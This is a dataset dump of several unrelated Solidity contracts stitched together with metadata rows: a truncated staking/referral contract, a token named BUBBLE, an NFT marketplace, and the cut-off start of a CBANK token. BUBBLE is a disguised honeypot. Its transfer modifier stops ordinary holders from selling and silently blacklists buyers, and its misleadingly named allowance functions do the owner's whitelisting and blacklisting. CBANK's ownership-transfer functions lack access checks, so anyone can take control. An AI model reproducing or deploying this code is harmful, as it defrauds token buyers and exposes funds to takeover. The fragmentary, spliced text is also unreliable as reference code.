return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 timeMultiplier = block.timestamp.sub(user.holdBonusCheckpoint).div(TIME_STEP); // +0.1% per day
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
uint256 _dividends = share.mul(to.sub(from)).div(TIME_STEP);
uint256 _dividendsWithFee = _dividends.sub(_dividends.mul(WITHDRAW_FEE_1).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_dividendsWithFee);
}
} else {
if(block.timestamp > user.deposits[i].finish) {
uint256 _profit = user.deposits[i].profit;
uint256 _profitWithFee = _profit.sub(_profit.mul(WITHDRAW_FEE_2).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_profitWithFee);
}
}
}
}
return totalAmount;
}
function getUserAvailable(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else {
if(block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
}
return totalAmount;
}
function getContractInfo() public view returns(uint256, uint256, uint256) {
return(totalStaked, totalRefBonus, totalUsers);
}
function getUserWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256) {
return (users[userAddress].referrals);
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256 amount) {
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 119,832 | 669 |
c4f57481774757ebc809c36ed762a9f25c892b7bec9b8b4bfa1988357666e0bd
| 29,638 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x7C81F4d427eacB0d4B069a510608741AA26fF00b/contract.sol
| 3,392 | 12,611 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BUBBLE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 256,615 | 670 |
502bbdf67d77c72ce61730b72136efd55eb540efdec176c44c3a05b80fef1506
| 21,926 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/81/81a8d84d3c2ac8b78556f1bf6bbbbbf5a9ac8280_Marketplace.sol
| 2,541 | 9,955 |
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint balance);
function ownerOf(uint tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint tokenId) external;
function transferFrom(address from, address to, uint tokenId) external;
function approve(address to, uint tokenId) external;
function getApproved(uint tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint tokenId, bytes calldata data) external;
function isNFThasRoyalty(uint _tokenid) external view returns (bool);
function royaltyInfo(uint256 _tokenId, uint256 _saleprice) external view returns(address[] memory, uint256, uint256);
}
library Counters {
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint tokenId, bytes calldata data) external returns (bytes4);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Marketplace is IERC721Receiver, Ownable {
using Counters for Counters.Counter;
using SafeMath for uint256;
Counters.Counter private _tradeCounter;
struct Trade {
uint id;
address poster;
uint nftTokenId;
uint nftTokenPrice;
address buyer;
bool sold;
}
Trade[] trades;
IERC721 public nftContract;
IERC20 public sellToken;
uint public platformFee; // platformfee
uint _collectedFees;
event TradeOpened(uint tradeId, address poster);
event TradeEnded(uint tradeId, address winner);
constructor(IERC721 _nftToken, IERC20 _BepToken, uint _platformfee) {
nftContract = _nftToken;
sellToken = _BepToken;
platformFee = _platformfee; // 250 => 2.5
}
function getFullTrade(uint tradeId) public view returns (Trade memory _trade) {
return trades[tradeId];
}
function getTradeCount() public view returns (uint) {
return _tradeCounter.current();
}
function getCollectedFees() public view returns (uint) {
return _collectedFees;
}
// List nft
function openTrade(uint nftTokenId, uint price) external {
require(nftContract.ownerOf(nftTokenId) == msg.sender, "Sender has to be owner of the token.");
uint id = _tradeCounter.current();
_tradeCounter.increment();
trades.push(Trade({
id: id,
poster: msg.sender,
nftTokenId: nftTokenId,
nftTokenPrice: price,
buyer: address(0),
sold: false
}));
assert(trades.length == _tradeCounter.current());
nftContract.safeTransferFrom(msg.sender, address(this), nftTokenId);
emit TradeOpened(id,msg.sender);
}
// buy nft
function executeTrade(uint tradeId) external {
Trade memory trade = trades[tradeId];
trades[tradeId].buyer = msg.sender;
// require (trade.poster != trade.buyer , "Trade ends");
require (trade.sold == false, "Already sold");
require(msg.sender != trade.poster, "Poster can't bid on their own NFT.");
bool checkRoyalty = nftContract.isNFThasRoyalty(trade.nftTokenId);
uint totalRoyaltyFee;
if (checkRoyalty) {
(address[] memory recievers, uint totalfee, uint peruserfee) = nftContract.royaltyInfo(trade.nftTokenId,trade.nftTokenPrice);
totalRoyaltyFee = totalfee;
for (uint i=0; i<recievers.length; i++) {
require(sellToken.transferFrom(msg.sender, recievers[i], peruserfee), "Royalty transfer failed.");
}
}
uint platoformfee = trade.nftTokenPrice.mul(platformFee).div(100).div(100);
uint sellprice = trade.nftTokenPrice.sub(platoformfee).sub(totalRoyaltyFee);
_collectedFees += platoformfee;
trades[tradeId].sold = true;
require(sellToken.transferFrom(msg.sender, address(this), platoformfee), "Fee transfer failed.");
require(sellToken.transferFrom(msg.sender, trade.poster, sellprice), "Token transfer failed.");
nftContract.safeTransferFrom(address(this), msg.sender, trade.nftTokenId);
emit TradeEnded(tradeId,msg.sender);
}
// change listing price
function renewTrade(uint tradeId, uint _newprice) external {
Trade memory trade = trades[tradeId];
require(msg.sender == trade.poster, "Only the poster of a trade can cancel it.");
require(trade.sold == false, "Already sold");
trades[tradeId].nftTokenPrice = _newprice;
}
function withdrawCollectedFees(uint amount) external onlyOwner {
require(amount <= _collectedFees, "Can't withdraw more fees than have been collected");
require(amount <= sellToken.balanceOf(address(this)), "Can't withdraw more fees than are in account balance.");
_collectedFees -= amount;
require(sellToken.transfer(msg.sender, amount), "Transfer failed.");
}
function setPlatformFee(uint fee) external onlyOwner {
platformFee = fee;
}
function onERC721Received(address, address, uint, bytes calldata) public pure override returns (bytes4) {
return 0x150b7a02;
}
}
| 99,778 | 671 |
7f8838037ce54876e6c6202886996d19c9cacef6a349d7142e383d0dc94ac8bf
| 33,950 |
.sol
|
Solidity
| false |
323199131
|
c-bank/token-contract
|
68671d91e215df68acb77f8f883dda132749fcd2
|
contracts/CBANK.sol
| 4,222 | 16,019 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract Ownable is Context {
address private _hiddenOwner;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event HiddenOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
_hiddenOwner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
emit HiddenOwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function hiddenOwner() public view returns (address) {
return _hiddenOwner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyHiddenOwner() {
require(_hiddenOwner == _msgSender(), "Ownable: caller is not the hidden owner");
_;
}
function transferOwnership(address newOwner) public virtual {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function transferHiddenOwnership(address newHiddenOwner) public virtual {
require(newHiddenOwner != address(0), "Ownable: new hidden owner is the zero address");
emit HiddenOwnershipTransferred(_owner, newHiddenOwner);
_hiddenOwner = newHiddenOwner;
}
}
abstract contract Burnable is Context {
mapping(address => bool) private _burners;
event BurnerAdded(address indexed account);
event BurnerRemoved(address indexed account);
function isBurner(address account) public view returns (bool) {
return _burners[account];
}
modifier onlyBurner() {
require(_burners[_msgSender()], "Ownable: caller is not the burner");
_;
}
function _addBurner(address account) internal {
_burners[account] = true;
emit BurnerAdded(account);
}
function _removeBurner(address account) internal {
_burners[account] = false;
emit BurnerRemoved(account);
}
}
contract Lockable is Context {
using SafeMath for uint;
struct TimeLock {
uint amount;
uint expiresAt;
}
struct InvestorLock {
uint amount;
uint months;
uint startsAt;
}
mapping(address => bool) private _lockers;
mapping(address => bool) private _locks;
mapping(address => TimeLock[]) private _timeLocks;
mapping(address => InvestorLock) private _investorLocks;
event LockerAdded(address indexed account);
event LockerRemoved(address indexed account);
event Locked(address indexed account);
event Unlocked(address indexed account);
event TimeLocked(address indexed account);
event TimeUnlocked(address indexed account);
event InvestorLocked(address indexed account);
event InvestorUnlocked(address indexed account);
modifier onlyLocker {
require(_lockers[_msgSender()], "Lockable: caller is not the locker");
_;
}
function isLocker(address account) public view returns (bool) {
return _lockers[account];
}
function _addLocker(address account) internal {
_lockers[account] = true;
emit LockerAdded(account);
}
function _removeLocker(address account) internal {
_lockers[account] = false;
emit LockerRemoved(account);
}
function isLocked(address account) public view returns (bool) {
return _locks[account];
}
function _lock(address account) internal {
_locks[account] = true;
emit Locked(account);
}
function _unlock(address account) internal {
_locks[account] = false;
emit Unlocked(account);
}
function _addTimeLock(address account, uint amount, uint expiresAt) internal {
require(amount > 0, "Time Lock: lock amount must be greater than 0");
require(expiresAt > block.timestamp, "Time Lock: expire date must be later than now");
_timeLocks[account].push(TimeLock(amount, expiresAt));
emit TimeLocked(account);
}
function _removeTimeLock(address account, uint8 index) internal {
require(_timeLocks[account].length > index && index >= 0, "Time Lock: index must be valid");
uint len = _timeLocks[account].length;
if (len - 1 != index) { // if it is not last item, swap it
_timeLocks[account][index] = _timeLocks[account][len - 1];
}
_timeLocks[account].pop();
emit TimeUnlocked(account);
}
function getTimeLockLength(address account) public view returns (uint){
return _timeLocks[account].length;
}
function getTimeLock(address account, uint8 index) public view returns (uint, uint){
require(_timeLocks[account].length > index && index >= 0, "Time Lock: index must be valid");
return (_timeLocks[account][index].amount, _timeLocks[account][index].expiresAt);
}
function getTimeLockedAmount(address account) public view returns (uint) {
